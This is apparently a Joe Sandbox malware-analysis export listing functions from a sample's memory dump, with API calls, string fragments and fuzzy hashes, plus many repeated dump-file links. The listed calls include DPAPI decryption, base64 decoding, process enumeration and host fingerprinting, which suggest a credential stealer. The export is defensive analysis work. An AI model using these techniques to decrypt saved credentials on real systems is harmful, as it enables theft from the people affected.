Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ISv}$In?$PsV;$T8o$h_w
API String ID: 0-309991843
Opcode ID: e1051e8325ea6589b6e26426a67a64abde73649652da43f9de9b5d60b92cddb8
Instruction ID: a45fba484bab68370739d11de2046f359d9e9d005eae098fc3f188eb4b0271fd
Opcode Fuzzy Hash: e1051e8325ea6589b6e26426a67a64abde73649652da43f9de9b5d60b92cddb8
Instruction Fuzzy Hash: A5A2FAF3A0C2049FE304AE29EC8577ABBE9EF94720F1A853DE6C4C7744E63558058697

Function 0017F8D6 Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

\u, xrefs: 0017FA93
{, xrefs: 0017FA9A
\u, xrefs: 0017F9A3
}, xrefs: 0017F99F
}, xrefs: 0017FA8F
{, xrefs: 0017F9AA

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction ID: 1ba6de97e10441152faff99246d74fbb9c551f9a61b6bf9de75d62db466395c9
Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction Fuzzy Hash: 01418E12E19BD9C5CB058B7444A02AEBFB22FE6210F6D82EEC4DD1F782C774414AD3A5

Function 0011C920 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0011C971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0011C97C
lstrcat.KERNEL32(?,00130B47), ref: 0011CA43
lstrcat.KERNEL32(?,00130B4B), ref: 0011CA57
lstrcat.KERNEL32(?,00130B4E), ref: 0011CA78

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 5ff843c5e13aae8732407f174de35d55376d1d1cbf53f9f751c1b5485ce2dbdd
Instruction ID: de6ec34147d026b037cab335204146b5e370b1d26e031022b4f9e931f2c83136
Opcode Fuzzy Hash: 5ff843c5e13aae8732407f174de35d55376d1d1cbf53f9f751c1b5485ce2dbdd
Instruction Fuzzy Hash: D0415174D0421D9BDB25CFA4DD89BEEF7B8AF48304F1046A8E509A72C0D7705A84CF91

Function 001172A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 001172AD
RtlAllocateHeap.NTDLL(00000000), ref: 001172B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 001172E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00117304
LocalFree.KERNEL32(?), ref: 0011730E

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 6ac9017addc1fea444bca78b99ec6381229ceb89f8a076a0a1a56e91078fb06a
Instruction ID: 98fd64208c0c04234a9e678241defdfde8a30e8c4cf37e6c8a6f78ee52de7791
Opcode Fuzzy Hash: 6ac9017addc1fea444bca78b99ec6381229ceb89f8a076a0a1a56e91078fb06a
Instruction Fuzzy Hash: B9010C75A44308BBDB24DFE4DD46F9E7778AB44B00F104554FB05AA2C0D6B0AA409B64

Function 00129790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001297AE
Process32First.KERNEL32(00130ACE,00000128), ref: 001297C2
Process32Next.KERNEL32(00130ACE,00000128), ref: 001297D7
StrCmpCA.SHLWAPI(?,00000000), ref: 001297EC
CloseHandle.KERNEL32(00130ACE), ref: 0012980A

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e98b58423268831688140d81c905c0fb0a8fba5ee0e38841d82873e926f0e7ae
Instruction ID: e8846984974bb564fe00ccf5e9c4c76594e9899af5ffe7ac75730e620efe5981
Opcode Fuzzy Hash: e98b58423268831688140d81c905c0fb0a8fba5ee0e38841d82873e926f0e7ae
Instruction Fuzzy Hash: 8A011E75A14218EBDB25DFA4DD88BDDB7BCBB08700F144688E5099B280E7309B50CF50

Function 00134573 Relevance: 7.3, Strings: 2, Instructions: 4819COMMON

Download Yara Rule

Strings

huzx, xrefs: 001348F0
<7\h, xrefs: 00134752

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <7\h$huzx
API String ID: 0-2989614873
Opcode ID: aefaf097f79d00f3cb7cc583a99de9ca3f86213f6f2ab66147132978ee289807
Instruction ID: a9c64d120948b5159a66152b0db4714bd03a0a6dcc6f7f2fd615b28a992e811b
Opcode Fuzzy Hash: aefaf097f79d00f3cb7cc583a99de9ca3f86213f6f2ab66147132978ee289807
Instruction Fuzzy Hash: 2963357241EBD41ECB27CB3047B61A17F66BA13A10B1D49CEC8C18F5B3C794AA16E356

Function 0057EA1E Relevance: 6.7, Strings: 4, Instructions: 1694COMMON

Download Yara Rule

Strings

x`-, xrefs: 0057EF41
VwCg, xrefs: 0057FB62
U~r, xrefs: 0057F2F0
kon?, xrefs: 0057ED81

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: VwCg$kon?$x`-$U~r
API String ID: 0-2101599867
Opcode ID: d2b157370288e4a10cd22eb8f75e09b990090c400b0539a5ce01b176b1257a84
Instruction ID: 6f3e50f190328061da93ee19df2ea9c5e40f1aded48c1b09b1e968f9d6564100
Opcode Fuzzy Hash: d2b157370288e4a10cd22eb8f75e09b990090c400b0539a5ce01b176b1257a84
Instruction Fuzzy Hash: 95B2F7F3A0C2049FE3046E2DEC8567AFBE9EF94720F16493DEAC5D3744EA3558018696

Function 00129030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,001151D4,40000001,00000000,00000000,?,001151D4), ref: 00129050

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 9553eacfc06f38f6933bd24ebc89fe3a69a5f902e5330e3eb1113c6368f6e132
Instruction ID: aba897a04132377d99cf50fda2ea608b0c8343882ac781ab0cc05fee653c5ba7
Opcode Fuzzy Hash: 9553eacfc06f38f6933bd24ebc89fe3a69a5f902e5330e3eb1113c6368f6e132
Instruction Fuzzy Hash: 5F110670204218FFDF14CF58E894FAB33ADAF89310F108548FA198B250D772ED518BA8

Function 0011A210 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00114F3E,00000000,00000000), ref: 0011A23F
LocalAlloc.KERNEL32(00000040,?,?,?,00114F3E,00000000,?), ref: 0011A251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00114F3E,00000000,00000000), ref: 0011A27A
LocalFree.KERNEL32(?,?,?,?,00114F3E,00000000,?), ref: 0011A28F

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 4106d17a48b2c1a0bea45f984456b299707d06eed799f962e37c6def7db4325b
Instruction ID: b8a28a34805c9749ab690cb5b38292fdfc7efe2adf0f2c50de7854702de15c22
Opcode Fuzzy Hash: 4106d17a48b2c1a0bea45f984456b299707d06eed799f962e37c6def7db4325b
Instruction Fuzzy Hash: 2411C374641308AFEB15CF64CC95FAA77B9EB88B00F208558FA159F2D0D7B2A941CB50

Function 00127B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00130DE8,00000000,?), ref: 00127B40
RtlAllocateHeap.NTDLL(00000000), ref: 00127B47
GetLocalTime.KERNEL32(?,?,?,?,?,00130DE8,00000000,?), ref: 00127B54
wsprintfA.USER32 ref: 00127B83

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: bdee9ea980dddc8f1abf4c8dac1f98baafd322274fad0b9d6621f81bf4c086c4
Instruction ID: 7d43a5305f4a447e9cbc40bdb4cd48e600b75d4ebdff7ce4d947456b7798b528
Opcode Fuzzy Hash: bdee9ea980dddc8f1abf4c8dac1f98baafd322274fad0b9d6621f81bf4c086c4
Instruction Fuzzy Hash: 32112AB2908158ABCB24DBC9ED85BBEB7BCFB4CB11F10461AF605A6280D3395940C7B0

Function 00127BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00E3F2D8,00000000,?,00130DF8,00000000,?,00000000,00000000), ref: 00127BF3
RtlAllocateHeap.NTDLL(00000000), ref: 00127BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00E3F2D8,00000000,?,00130DF8,00000000,?,00000000,00000000,?), ref: 00127C0D
wsprintfA.USER32 ref: 00127C47

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c189482d6834c13b83aaaf8a44de5d8e4a939a018d6c376e09552fc64c2197e0
Instruction ID: dcc1c6ee795bb554c8b55f08a16b5ed8e1b95a69e12aa966fd76f176c09d6b7c
Opcode Fuzzy Hash: c189482d6834c13b83aaaf8a44de5d8e4a939a018d6c376e09552fc64c2197e0
Instruction Fuzzy Hash: 4811A1B1909229EBEB24CB64EC45FAAB77CFB44711F1007D5F619A72D0D7741A508B50

Function 0057B4D6 Relevance: 5.4, Strings: 3, Instructions: 1641COMMON

Download Yara Rule

Strings

AP\O, xrefs: 0057B4F4
AL%}, xrefs: 0057C186
-5_, xrefs: 0057C2D5

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
